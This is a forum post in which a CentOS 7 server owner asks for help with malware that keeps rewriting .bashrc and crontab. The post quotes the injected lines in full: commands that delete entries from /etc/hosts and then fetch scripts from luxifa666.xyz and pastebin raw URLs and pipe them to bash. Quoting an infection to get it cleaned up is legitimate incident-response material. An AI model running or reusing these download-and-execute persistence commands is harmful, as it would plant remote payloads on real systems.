.bashrc updating automatically along with cron

Hi All,

I am running CentOS 7 on my server and since last 2-3 days I am having an issue with that.

As and when I connect to my server via SSH it shows me something like below

Quote:

curl: (7) Failed connect to luxifa666.xyz:9080; Connection refused Usage: kill [options] <pid|name> [...] Options: -a, --all do not restrict the name-to-pid conversion to processes with the same uid as the present process -s, --signal <sig> send specified signal -q, --queue <sig> use sigqueue(2) rather than kill(2) -p, --pid print pids without signaling them -l, --list [=<signal>] list signal names, or convert one to a name -L, --table list signal names and numbers -h, --help display this help and exit -V, --version output version information and exit For more details see kill(1). Usage: kill [options] <pid|name> [...] Options: -a, --all do not restrict the name-to-pid conversion to processes with the same uid as the present process -s, --signal <sig> send specified signal -q, --queue <sig> use sigqueue(2) rather than kill(2) -p, --pid print pids without signaling them -l, --list [=<signal>] list signal names, or convert one to a name -L, --table list signal names and numbers -h, --help display this help and exit -V, --version output version information and exit For more details see kill(1). Usage: kill [options] <pid|name> [...] Options: -a, --all do not restrict the name-to-pid conversion to processes with the same uid as the present process -s, --signal <sig> send specified signal -q, --queue <sig> use sigqueue(2) rather than kill(2) -p, --pid print pids without signaling them -l, --list [=<signal>] list signal names, or convert one to a name -L, --table list signal names and numbers -h, --help display this help and exit -V, --version output version information and exit For more details see kill(1). Usage: kill [options] <pid|name> [...] Options: -a, --all do not restrict the name-to-pid conversion to processes with the same uid as the present process -s, --signal <sig> send specified signal -q, --queue <sig> use sigqueue(2) rather than kill(2) -p, --pid print pids without signaling them -l, --list [=<signal>] list signal names, or convert one to a name -L, --table list signal names and numbers -h, --help display this help and exit -V, --version output version information and exit For more details see kill(1). sed: can't read /var/log/syslog: No such file or directory sed: can't read /var/log/syslog: No such file or directory

I have checked server's .bashrc file and in that I have seen some lines as below

Quote:

sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSLk luxifa666.xyz:9080/host-manager/java.txt -m 90||wget -q -O - luxifa666.xyz:9080/host-manager/java.txt --no-check-certificate -t 2 -T 60||curl -fsSL https://pastebin.com/raw/BLPNmuQw||wget -q -O- https://pastebin.com/raw/BLPNmuQw)|bash ##loaded_javaUpdates_rc

Than after I have also checked into crontab over there I have seen some thing like

Quote:

*/9 * * * * sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/BLPNmuQw||wget -q -O- https://pastebin.com/raw/BLPNmuQw||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/BLPNmuQw").read()'||curl -fsSL https://pastebin.com/raw/t92Qw9LP||wget -q -O - https://pastebin.com/raw/t92Qw9LP||curl -fsSLk luxifa666.xyz:9080/host-manager/java.txt -m 90||wget -q -O - luxifa666.xyz:9080/host-manager/java.txt --no-check-certificate -t 2 -T 60)|bash

I have removed lines from .bashrc file and also from crontab too yet its coming back.

I have also checked running processes no unknown processes are running.

Please help/advise what I need to look into further to resolve this.

Many Thanks.